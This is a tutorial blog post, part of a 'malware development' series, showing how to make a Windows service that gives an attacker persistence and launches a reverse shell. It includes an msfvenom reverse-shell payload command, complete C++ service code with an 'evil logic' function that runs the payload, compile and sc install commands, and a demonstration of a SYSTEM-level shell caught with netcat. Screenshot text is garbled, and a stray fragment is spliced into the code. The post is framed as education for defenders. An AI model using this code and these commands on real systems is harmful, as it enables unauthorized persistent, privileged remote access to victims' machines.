Malware development: persistence - part 4. Windows services. Simple C++ example.

cocomelonc.github.io/tutorial/2022/05/09/malware-pers-4.html

May 9, 2022

5 minute read

Hello, cybersecurity enthusiasts and white hackers!



This post is a next part of a series of articles on windows malware persistence techniques and tricks.

Today I'll write about the result of my own research into another persistence trick: Windows Services.

windows services

Windows Services are essential for hacking due to the following reasons:

- They operate natively over the network the entire Services API was created with remote servers in mind.
- They start automatically when the system boots.
- They may have extremely high privileges in the operating system.

Managing services requires high privileges, and an unprivileged user can often only view the settings. This has not changed in over twenty years.

In a Windows context, improperly configured services might lead to privilege escalation or be utilized as a persistence technique. So, creating a new service requires Administrator credentials and is not a stealthy persistence approach.

practical example

Let's go to consider practical example: how to create and run a Windows service that receives a reverse shell for us.

First of all create reverse shell exe file via msfvenom from my attacker machine:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1 LPORT=4445 -f exe >
meow.exe



Then, create service which run my meow.exe in the target machine.

The minimum requirements for a service are the following:

- A Main Entry point (like any application)
- A Service Entry point
- A Service Control Handler

In the main entry point, you rapidly invoke <u>StartServiceCtrlDispatcher</u> so the <u>SCM</u> may call your Service Entry point (<u>ServiceMain</u>):

```
int main() {
   SERVICE_TABLE_ENTRY ServiceTable[] = {
      {"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
      {NULL, NULL}
   };
   StartServiceCtrlDispatcher(ServiceTable);
   return 0;
}
```

The Service Main Entry Point performs the following tasks:

- Initialize any required things that we postponed from the Main Entry Point.
- Register the service control handler (ControlHandler) that will process Service Stop, Pause, Continue, etc. control commands.
- These are registered as a bit mask via the dwControlsAccepted field of the SERVICE STATUS structure.
- Set Service Status to **SERVICE RUNNING**.
- Perform initialization procedures. Such as creating threads/events/mutex/IPCs, etc.

```
void ServiceMain(int argc, char** argv) {
  serviceStatus.dwServiceType
                                    = SERVICE_WIN32;
 serviceStatus.dwCurrentState
                                     = SERVICE_START_PENDING;
  serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
  serviceStatus.dwWin32ExitCode
                                     = 0;
  serviceStatus.dwServiceSpecificExitCode = 0;
  serviceStatus.dwCheckPoint
                                     = 0;
 serviceStatus.dwWaitHint
                                     = 0;
 hStatus = RegisterServiceCtrlHandler("MeowService",
(LPHANDLER_FUNCTION)ControlHandler);
  RunMeow();
  serviceStatus.dwCurrentState = SERVICE_RUNNING;
 SetServiceStatus (hStatus, &serviceStatus);
 while (serviceStatus.dwCurrentState == SERVICE_RUNNING) {
   Sleep(SLEEP_TIME);
 }
 return;
}
```

The Service Control Handler was registered in your Service Main Entry point. Each service must have a handler to handle control requests from the SCM:

```
void ControlHandler(DWORD request) {
  switch(request) {
    case SERVICE_CONTROL_STOP:
      serviceStatus.dwWin32ExitCode = 0;
      serviceStatus.dwCurrentState = SERVICE_STOPPED;
      SetServiceStatus (hStatus, &serviceStatus);
      return;
   case SERVICE_CONTROL_SHUTDOWN:
      serviceStatus.dwWin32ExitCode = 0;
      serviceStatus.dwCurrentState = SERVICE_STOPPED;
      SetServiceStatus (hStatus, &serviceStatus);
      return;
    default:
      break;COM DLL hijack
  }
  SetServiceStatus(hStatus, &serviceStatus);
  return;
}
```

I have only implemented and supported the SERVICE_CONTROL_STOP and SERVICE_CONTROL_SHUTDOWN requests. You can handle other requests such as SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_INTERROGATE, SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_SHUTDOWN and others.

Also, create function with evil logic:

```
// run process meow.exe - reverse shell
int RunMeow() {
 void * lb;
 BOOL rv;
 HANDLE th;
  // for example: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.1
LPORT=4445 -f exe > meow.exe
  char cmd[] = "Z:\\2022-05-09-malware-pers-4\\meow.exe";
 STARTUPINFO si;
 PROCESS_INFORMATION pi;
 ZeroMemory(&si, sizeof(si));
 si.cb = sizeof(si);
 ZeroMemory(&pi, sizeof(pi));
 CreateProcess(NULL, cmd, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
 WaitForSingleObject(pi.hProcess, INFINITE);
 CloseHandle(pi.hProcess);
 return 0;
}
int main() {
 SERVICE_TABLE_ENTRY ServiceTable[] = {
    {"MeowService", (LPSERVICE_MAIN_FUNCTION) ServiceMain},
    {NULL, NULL}
 };
 StartServiceCtrlDispatcher(ServiceTable);
 return 0;
}
```

As I wrote earlier, just create our reverse shell process (meow.exe):



Of course, this code is not reference and it is more "dirty" Proof of Concept.

demo

Let's go to demonstration all.

Compile our service:

x86_64-w64-mingw32-g++ -O2 meowsrv.cpp -o meowsrv.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmergeall-constants -static-libstdc++ -static-libgcc -fpermissive



We can install the service from the command prompt by running the following command in target machine Windows 10 x64. Remember that all commands run as administrator:

sc create MeowService binpath= "Z:\2022-05-09-malware-pers-4\meowsrv.exe" start= auto



Check:

sc query MeowService



If we open the Process Hacker, we will see it in the Services tab:

		wir	n10−x64 (p	peekaboo) [Running]	– Oracle VM Virtua	alBox
ile Machine View	Input Devices Help					
I Process Hacker [WIND	OWS-V9HNK33\User]				- 🗆	×
Hacker View Tools U	sers Help					
🤹 Refresh 🛛 🎲 Options	📸 Find handles or DLLs 🛛 🚧 System in	nformation 🛛 🗔	🗔 🗙	Sea	arch Services (Ctrl+K)	Q
Processes Services Netw	ork Disk					
Name	Display name	Туре	Status	Start type	PID	^
🌼 megasas2i	megasas2i	Driver	Stopped	Demand start		
megasas35i	megasas35i	Driver	Stopped	Demand start		
🔅 megasr	megasr	Driver	Stopped	Demand start		
MeowService	MeowService	Own process	Stopped	Auto start		
MessagingService	MessagingService	User share pro	Stopped	Demand start (trigger))	
MessagingService	MessagingService_fe14cd	User share pro	Stopped	Demand start (trigger))	
🔅 mlx4_bus	Mellanox ConnectX Bus Enumerator	Driver	Stopped	Demand start		
MMCSS	Multimedia Class Scheduler	Driver	Running	Auto start		
		Driver	Stopped	Demand start		
🔅 Modem	Modem			Description		
🔅 Modem	Modem Microsoft Monitor Class Function Dri	Driver	Running	Demand start		
i Modem monitor mouclass	Modem Microsoft Monitor Class Function Dri Mouse Class Driver	Driver Driver	Running Running	Demand start Demand start		

If we check its properties:

🌠 File Machine View In	put Devices	Help	win	10-x64 (pe	ekaboo) [Runr	ning] – Oracle VM Virtua	lBox		
RI 🌨 🏟 🖉	MeowService Pr	operties			×				
Process Hacker [WINDOWS	-V Trigge General	ers Security Rei	Other covery Depe	Co ndencies	mment Dependents		×		
Processes Services Network Name Disp	Fi MeowService Dis Iay	•			~	Search Services (Ctrl+K) PID	م م	ers-4\meowsrv.ex	ke" sta
megasas2i meg megasas35i meg megasar meg	as Type: Own p as Error control:	Normal	✓ Start type: ✓ Group:	Auto start	~				
MessagingService Mes	sa Binary path:	Z:\2022-05-09-mal	ware-pers-4\meows	rv.exe	Browse	gger) gger)			
mlx4_bus Mel MMCSS Mul Modem Moo monitor Mic mouclass Moo	an Password: ler Service DLL: ros Delayed st	N/A							
in mouthing mouthing Mou	ise						~		
CPU Usage: 10.02% Physical m Process Hacker 2				ОК	Cancel		.::		

The LocalSystem account is a predefined local account used by the service control manager. It has extensive privileges on the local computer, and acts as the computer on the network. Its token includes the NT_AUTHORITY\SYSTEM and BUILTIN\Administrators SIDs; these accounts have access to most system objects. The name of the account in all locales is .\LocalSystem. The name, LocalSystem or ComputerName\LocalSystem can also be used. This account does not have a password. If you specify the LocalSystem account in a call to the CreateService or ChangeServiceConfig function, any password information you provide is ignored <u>via MSDN</u>.

Then, start service via command:

sc start MeowService

(cocomelonc & kali) - [~/hacki s nc -nlvp 4445 listening on [any] 4445 connect to [192.168.56.1] from Microsoft Windows [Version 10. (c) 2018 Microsoft Corporation	ng/cybersec_blog/c (UNKNOWN) [192.16 0.17134.112] . All rights reser	ocomelonc.github. 8.56.102] 49752 ved.	io] officer Generalization percent film						
C:\windows\systemsz>									
10 #de	File Marchine View Input Devices Heln								
12 SER	Process Hacker (WINDOWS-V9HN)	(33\User]	×						
13 SERI	Hacker View Tools Users Help								
14 15 voic	Processes Services Network Disk	Administrator: Command Prompt		_					
16 void 17 18 18 // 19 int 20 11 20 11 21 18 22 14 23 14 24 17 25 12 26 57 27 24 28 27 29 57 30 26 31 10	Name Display nam megazas2i megazas2i megazas2i MessgingService MessgingService MessgingService McSS Multimedia Modem Modem moulaid Mouse HD CPU Usage 14.40% Physical memory: Image: Process Image: Allerp Hacker 2 Image: Allerp	<pre>C:\Windows\system32>sc cre [SC] CreateService SUCCESS C:\Windows\system32>sc que strVICE_NAME: MeouService of STATE MINT2_EXIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CCEXENTIT_CCEXENTIT_CODE CC_CCEXENTIT_CC</pre>	ate MeowService binpath= "Z:\2022-05-09-malware-pers-4\meowsrv.ex ry MeowService : 10 WIN32_OWL_PROCESS : 1 STOPPED : 1077 (0x435) : 0 exa : 0 exa : 0 exa : 0 exa : 0 NUL_PROCESS : 2 START_PENDING (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)) : 0 (6x8) : 0 AU : 0 (6x8) : 0 AU : 0 AU	ke" start= auto					
33 Č 34 r	x32dbg procexp64								

And as you can see, we got a reverse shell!:

<pre>(cocomelonc & kali) - [~/h</pre>	acking/cybersec_blog/cocomel from (UNKNOWN) [192.168.56.1	.onc.github.io]						
Microsoft Windows [Version (c) 2018 Microsoft Corpora	10.0.17134.112] tion. All rights reserved.	win10-x64 (peekaboo) [Running] - Oracle VM VirtualBox File Machine View Input Devices Help						
C:\Windows\system32>system systeminfo	info	Administrator: Command Prompt C:\Windows\system32>sc create [SC] CreateService SUCCESS	MeowService binpath= "Z:\2022-05-09-m	alware-pers-4\meowsrv.exe" start= au	×			
Nos Name: OS Varsion: OS Manufacturer: OS Configuration: OS Build Type: Registered Owner: Registered Organization: Product ID: Original Install Date: System Boot Time: System Manufacturer: System Manufacturer: System Type: Processor(s):	WINDOWS-V9HNK33 Microsoft Windows 10 Pro 10.0.17134 N/A Build 17134 Microsoft Corporation Standalone Workstation Multiprocessor Free	C:\Windows\system32>sc query M SERVICE_NAME: NeouService TYPE : 1 STATE : MIN32_EXIT_CODE : 1 SERVICE_EXIT_CODE : 0 CHECKPOINT : 6 WAIT_HINT : 6	eowService 8 wIN32_OWN_PROCESS 5 STOPPED 877 (6x435) + (6x8) x88					
	00331-10000-00001-AA816 12/5/2021, 12:30:47 PM 5/10/2022, 1:20:19 AM innotek GmbH VirtualBox x64-based PC 1 Processor(s) Installed. [011: Intel64 Eamily 6 Mode	C:\Windows\system32>sc start M SERVICE_NAME: NeouService 5TATE : 3 WIN32_EXIT_CODE : 6 SERVICE_EXIT_CODE : 6 CHECKPOINT : 6 MATT_HINT : 6 PID : FLAGS : C:\Windows\system32>	eousService 9 WIN32 OWN PROCESS 5 START PENDING (NOT STOPPARLE, NOT_PAUSABLE, IGNOR (0x0) (0x0) (0x0) (0x0) (0x0) Command Prompt Wicrosoft Windows [Versif (c) 2018 Wicrosoft Corpor C:\UserS\UserSysteminfo UserS UserS.	ES_SHUTDOWN) in 10.0.17134.112] atlon. All rights reserved.				
BIOS Version: Windows Directory: System Directory: Boot Device: System Locale: Input Locale: Time Zone: Total Physical Memory: Virtual Memory: Available: Virtual Memory: Available: Virtual Memory: Available: Virtual Memory: I Use: Page File Location(s): Domain: Longon Server:	innotek GmbH VirtualBox, 12 C:\Windows C:\Windows\system32 \Device\HarddiskVolume1 en-us;English (United State en-us;English (United State (UTC+06:00) Astana 3,192 MB 2,111 MB 3,768 MB 2,669 MB 1,099 MB C:\pagefile.sys WORKGROUP	x32dby proceep6d	Distance: Distance:	HINDORS-CHINR-3 HINDORS-CHINR				

And our MeowService service got a PID: 5668:

2] 49752	/09/malware-pers-4.htm	1l-					
		wi	n10-x64 (p	eekaboo) [Running]	– Oracle VM Virtual	lBox	
ile Machine Vi	ew Input Devices Help						
Process Hacker IV	(INDOWS-V9HNK22) User]				_ □	V 1999	
I PIOCESS Hackel [W						\sim	
Hacker View Tools	Users Help	· • • • • •	-	0	1.0.1.10		
Setresn 👷 Optio	ns 📷 Find handles of DLLs 📯 System	information	Laj 👗	Sea	arch Services (Utri+K)	<u> </u>	
Processes Services	Network Disk	-		-			\times
Name	Display name	lype	Status	Start type	PID		^
💮 megasas2i	megasas2i	Driver	Stopped	Demand start		start= auto	
🐺 megasas35i	megasas35i	Driver	Stopped	Demand start			
🔅 megasr	megasr	Driver	Stopped	Demand start			
MeowService	MeowService	Own process	Start pen	Auto start	5668		
MessagingService	MessagingService	User share pro	Stopped	Demand start (trigger)			
MessagingService	MessagingService_fe14cd	User share pro	Stopped	Demand start (trigger)			
🔅 mlx4_bus	Mellanox ConnectX Bus Enumerator	Driver	Stopped	Demand start			
MMCSS	Multimedia Class Scheduler	Driver	Running	Auto start			
💮 Modem	Modem	Driver	Stopped	Demand start			
ig monitor	Microsoft Monitor Class Function Dri	Driver	Running	Demand start			
in mouclass	Mouse Class Driver	Driver	Running	Demand start			
🔯 mouhid	Mouse HID Driver	Driver	Running	Demand start		~	
Process Hacker 2 C: \Window	Mysical memory: 1.1 GB (35.28%) Processes TYPE : 10 WIN32 STATE : 2 START WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x7d0 PID PID : 5668 FLAGS FLAGS : >>>>>>>>>>>>>>>>>>>>>>>>>>>>	70 22_OWN_PROCES: PENDING STOPPABLE, NO	S DT_PAUSABI	LE, IGNORES_SHUT	DOWN)		
	Ori Sys	iginal Instal	l Date: e:	12/5/2021, 12 5/10/2022, 1:	:30:47 PM 20:19 AM		~

Then, run Process Hacker as non-admin User:



As you can see, it doesn't show us the username. But, running Process Hacker as Administartor changes the situation, and we see that our shell running on behalf NT AUTHORITY\SYSTEM:

.10	02] 49752	malware-p	ers-4.html							
	**				win10-x64 (peekaboo) [R	unning] – Oracle VM Virtual				
	File Machine View Ir	nput Devices	Help							
8	\sim	-								
		C VOLINIK22) Lises1.	(Administrates)				~			
	Process Hacker [WINDOW	5-V9HINK33\User]+	(Administrator)			— L				
	Refresh Montions	Help Find handles or F) I I c and System inf	ormation		Search Processes (Ctrl+K)	0			
	Processes Services Network	Diek	JEES Ser System ini	ormation		Search Processes (Ctri+K)	~~~~			
	Name	PID	CPU I/O total	Private b	User name	Description	^		×	
4	smartscreen.exe	5004		11.3 MB	WINDOWS-V9HNK33\User	Windows Defender SmartScre		stant- auto	<u>^</u>	
	VBoxTray.exe	5056	0.01 56 B/s	2.57 MB	WINDOWS-V9HNK33\User	VirtualBox Guest Additions Tra		start= auto		
	ProcessHacker.exe	5608	1.01	12.26 MB	WINDOWS-V9HNK33\User	Process Hacker				
	meowsrv.exe	5668		700 kB	NT AUTHORITY\SYSTEM					
es	audiodg.exe	5724		6.24 MB	NT AUTHO \LOCAL SERVICE	Windows Audio Device Graph.				
	 OneDrive.exe 	5752	0.02	16.82 MB	WINDOWS-V9HNK33\User	Microsoft OneDrive				
	WmiPrvSE.exe	5852		2.18 MB	NT AUTHORITY\SYSTEM	WMI Provider Host				
	KuntimeBroker.exe	5932		4.87 MB	WINDOWS-V9HNK33\User	Kuntime Broker				
	Ctrmon.exe	5006	0.20	24 62 MP	WINDOWS-V9HINK33\User	Windows Evolutor				
	Conhost eve	6036	0.25	6 17 MB	WINDOWS-V9HNK33\User	Console Window Host				
	sychost.exe	6096		11.1 MB	WINDOWS-V9HNK33\User	Host Process for Windows Ser.				
de 12 te te	CPU Usage: 8.52% Physical m TYPE STATE STATE WID32 SERVI Process Hacker 2 WAIT_ PID FLAGS C:\Windows\sy	nemory: 1.09 GB (3 _EXIT_CODE CE_EXIT_CODE POINT HINT stem32>	5.12%) Processes: 7 : 10 WIN32 : 2 START i (NOT_S' : 0 (0x0) : 0 (0x0)	2 OWN_PROC DENDING FOPPABLE, inal Inst em Boot I em Manuf	ESS NOT_PAUSABLE, IGNORE :all Date: 12/5/20 :ime: 5/10/20 icturer: innote	S_SHUTDOWN) 21, 12:30:47 PM 22, 1:20:19 AM 22, 1:20:19 AM	<u></u>		~	
	• O Type here to s	earch		Ei .	iii iii iii iii iii iii iii iii iii ii	- A			x ^A ^	
									9 o hi 🗗 🌶 🔳	

We will see it in the Network tab:

<pre>(cocomelonc@kali)-[-/h \$ nc -nlvp 4445 listening on [any] 4445 connect to [192.168.56.1]</pre>	acking/cybersec_blog/cocomel from (UNKNOWN) [192.168.56.1	onc.git 02] 497!	hub.io] 52	an a	nte							
Microsoft Windows [Version 10.0.17134.112]					win1	0-x64 (peel	kaboo) (Runni	ng] – Oracle VM Virtua	lBox			
(C) 2018 MICROSOFT Corpora	cion. All rights reserved.	File Machir	ne View Input I	Devices Help								
C:\Windows∖system32>systeminfo systeminfo												
		Process H	acker [WINDOWS-V9HNk	33\User]+ (Administrator)				- 0	×			
10		Hacker View	Tools Users Help						-			
Host Name:	WINDOWS-V9HNK33	S Refresh	Options B Find ha	ndles or DLLs 📯 System	information 🛄 🗔	×		Search Network (Ctrl+K)	<u>م</u>			
OS Name:	Microsoft Windows 10 Pro	Name	Local address	Local Permete addre	rr Rem Brot	State	Owner			-	L X	
OS Version:	10.0.17134 N/A Build 17134	Isass.exe (6 WINDOWS-V9HN	49670	TCP	Listen	Owner			at- auto	<u>^</u>	
OS Manufacturer:	Microsoft Corporation	Isass.exe (6 WINDOWS-V9HN	49670	TCP6	Listen			a ca	ic- auco		
OS Configuration:	Standalone Workstation char	T meow.exe	WINDOWS-V9HN	49752 192.168.56.1	4445 TCP	Establish						
OS Build Type:	Multiprocessor Free	services.et	c WINDOWS-V9HN	49668	TCP	Listen						
Registered Owner:		spoolsv.e	WINDOWS-V9HN	49667	TCP	Listen	Spooler					
Registered Organization:		🖶 🖶 spoolsv.ex	WINDOWS-V9HN	49667	TCP6	i Listen	Spooler					
Product ID:	00331-10000-00001-AA816	svchost.e	WINDOWS-V9HN	123	UDP		W32Time					
Original Install Date:	12/5/2021. 12:30:47 PM	svchost.e	WINDOWS-V9HN	5040	TCP	Listen	CDPSvc					
System Boot Time:	5/10/2022, 1:20:19 AM	svchost.ex	WINDOWS-V9HN	5050	UDP		CDPSvc					
System Manufacturer:	innotek GmbH	svchost.ex	WINDOWS-V9HN	5353	UDP		Dnscache		~			
System Model:	VirtualBox	CPU Usage: 7.3	0% Physical memory:	1.07 GB (34.36%) Processe	s: 71							
System Type:	x64-based PC		TYPE	: 10 WIN:	32_OWN_PROCESS							
Processor(s):	1 Processor(s) Installed.			(NOT	STOPPABLE, NOT	PAUSABLE,	, IGNORES_S	HUTDOWN)				
25	[01]: Intel64 Family 6 Mode		WIN32_EXIT_ SERVICE_EXI	CODE : 0 (0x0)								
BTOS Version: 20	innotek GmbH VirtualBox, 12	Process	CHECKPOINT	: 0x0								
Windows Directory:	C:\WindowsForMation	Hacker 2	WAIT_HINT PID	: 0x7d0 : 5668								
System Directory:	C:\Windows\svstem32		FLAGS									
Boot Device:	\Device\HarddiskVolume1		\Windows\system32									
System Locale:	en-us:English (United State	x32dbg										
Input Locale:	en-us:English (United State			00	iginal Install (Date:	12/5/2021	12:30:47 PM				
Time Zone:	(UTC+06:00) Astana				stem Boot Time:		5/10/2022,	1:20:19 AM				
Total Physical Memory:	3,192 MB			Sy	Manufacture	201	Innotek Gm	DH				
Available Physical Memory:	2,111 MB	E 0 1	ype here to search			🍅 🤚	2	49			۶ ^q	
Virtual Memory: Max Size:	3,768 MB										8 O H 7	
Virtual Memory: Available:	2 669 MB											

So, everything is worked perfectly :)

Let's go cleaning after completion of experiments. Stop service:

*		win1	0-x64 (peekaboo) [Runi	ning] – Oracle VM VirtualBox						
File Ma	chine View Input Devices	Help								
Recycle Bin	x64dbg PE-bear malwa	re								
	Administrator: Command Promp	t			-		×			
Microsoft Edge	STATE WIN32_EXIT_CODE SERVICE_EXIT_CODE CHECKPOINT WAIT_HINT	: 1 STOPPED : 1077 (0x435) : 0 (0x0) : 0x0 : 0x0					^			
(2)	C:\Windows\system32>sc sta	art MeowService	I璽 Process Hacker [WINI	OOWS-V9HNK33\User]+ (Administrator)				-		×
	SERVICE_NAME: MeowService		Hacker View Tools U	Jsers Help						
FIFETOX	ТҮРЕ	: 10 WIN32_OWN_PROCESS	😒 Refresh 🛛 🎲 Options	🛗 Find handles or DLLs 💅 System i	nformation	🔹 🗙		Search Services (0	Ctrl+K)	_
	STATE	: 2 START_PENDING	Processes Services Netv	vork Disk	. –					
	WIN32_EXIT_CODE SERVICE_EXIT_CODE CHECKPOINT WAIT_HINT	: 0 (0x0) : 0 (0x0) : 0x0 : 0x7d0	Name Megasas Megasas2i	Display name megasas megasas2i	Type Driver Driver	Status Stopped Stopped	Start type Demand start Demand start	PID		
/BoxSvr) (Z)	PID	: 5668	💮 megasas35i	megasas35i	Driver	Stopped	Demand start			
	FLAGS		🐡 megasr	megasr	Driver	Stopped	Demand start	1 1		
	C:\Windows\system32>sc_sto	op MeowService	MeowService MessagingService	MeowService MessagingService	Own process User share pro	Stopped Stopped	Auto start Demand start (trig	ger)		
Process	SERVICE_NAME: MeowService TYPE	: 10 WIN32_OWN_PROCESS	MessagingService	MessagingService_fe14cd Mellanox ConnectX Bus Enumerator	User share pro Driver	Stopped Stopped	Demand start (trig Demand start	ger)		
Hacker 2	STATE WIN32 EXIT CODE	: 1 STOPPED : 0 (0x0)	MMCSS	Multimedia Class Scheduler	Driver	Running	Auto start			
	SERVICE_EXIT_CODE	: 0 (0x0)	Se Modem	Microsoft Monitor Class Function Dri	Driver	Stopped	Demand start			
	CHECKPOINT WAIT_HINT	: 0x0 : 0x0	inonicor mouclass	Mouse Class Driver	Driver	Running	Demand start			
x32dbg	C:\Windows\system32>		CPU Usage: 11.94% Physi	cal memory: 1.06 GB (34.07%) Processes	: 67					
			System Locale: Input Locale: Time Zone: Total Physical	en-us;English (en-us;English ((UTC+06:00) Ast	United States United States ana	5) 5)				
€C	Yype here to search	Q 🗄 🔒	ڬ 🗵	2			م ۹ _۹	6:1	1 PM 0/2022	ς
							1 A ha 🖉 📣 🖬	n 🖉 🖉 🔊 🗖	Diabt (~

So, MeowService successfully stopped. And if we delete it:

sc delete MeowService

x64-	based PC	stence via windows :	services				
- -		win1	0-x64 (peekaboo) [Running] – Orac	ie VM VirtualBox			
File M	achine View Input Devices	Heln					
Recycle Bi	n xb4dbg PE-bear malwa	are					
	Administrator: Command Promp	ot		-			
E	CHECKPOINT	: 0x0			<u>^</u>		
Microsoft	WAIT_HINT	: 0x0					
/ Edge	C:\Windows\system32>sc st	art MeowService					
	SERVICE NAME: MegwService						
	ТҮРЕ	: 10 WIN32_OWN_PROCESS				_ □	×
	STATE	: 2 START_PENDING					
Firefox	WIN32_EXIT_CODE	: 0 (0x0)	_PAUSABLE, IGNORES_SHOTDOWN)			Search Services (Ctrl+K)	0
	SERVICE_EXIT_CODE	: 0 (0x0)				Search Services (earring	~
8	WAIT_HINT	: 0x7d0			ttype	PID	^
	PID	: 5668			nand start	110	
charad	FLAGS				nand start		
(VBoxSvr) (<pre>c:\Windows\system32>sc st</pre>	op MeowService			nand start		
	SERVICE NAME: MOONSORVICO				nand start		
	TYPE	: 10 WIN32_OWN_PROCESS			nand start (tri	gger)	
	STATE	: 1 STOPPED			nand start (tri	(gger)	
Process	SERVICE EXIT CODE	: 0 (0x0)			o start		
Hacker 2	CHECKPOINT	: 0x0			nand start		
	WAIT_HINT	: 0x0			nand start		
32	C:\Windows\system32>sc de	lete MeowService					
A 1	[SC] DeleteService SUCCES	S			Service Deleted	weenico	
x32dbg	C:\Windows\system32>				(MeowService) h	as been deleted.	
9			System Locale:	en-us;English (United Stat	Process Hacker		
0			Time Zone:	(UTC+06:00) Astana			
	2		Total Dhysical Momony:	5 107 MB	2	6:12 PM	
n: 🔟 🤇	J Type here to search		2		x ^ _	■ 💀 🖤 5/10/2022	1
					🗵 💿 🏨 🗗 🖉 🖿	🔲 🖆 🗿 🚳 🖬 Right C	trl 🔐

We can see Process Hacker's notification about this.

But, **there is one very important caveat**. You might wonder why we just not running command:

sc create MeowService binpath= "Z:\2022-05-09-pers-4\meow.exe" start= auto

Because, meow.exe is not actually a service. As I wrote earlier, the minimum requirements for a service are following specific functions: main entry point, service entry point and service control handler. If you try create service from just meow.exe. It's just terminate with error.

conclusion

This technique is not new, but it is worth paying attention to it, especially entry level blue team specialists. Threat actors also can modify existing windows services instead create new ones. In the wild, this trick was often used by groups such as <u>APT 38</u>, <u>APT 32</u> and <u>APT 41</u>.

MITTRE ATT&CK. Create or Modify System Process: Windows Service APT 32 APT 38 APT 41 source code in Github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye! *PS. All drawings and screenshots are mine*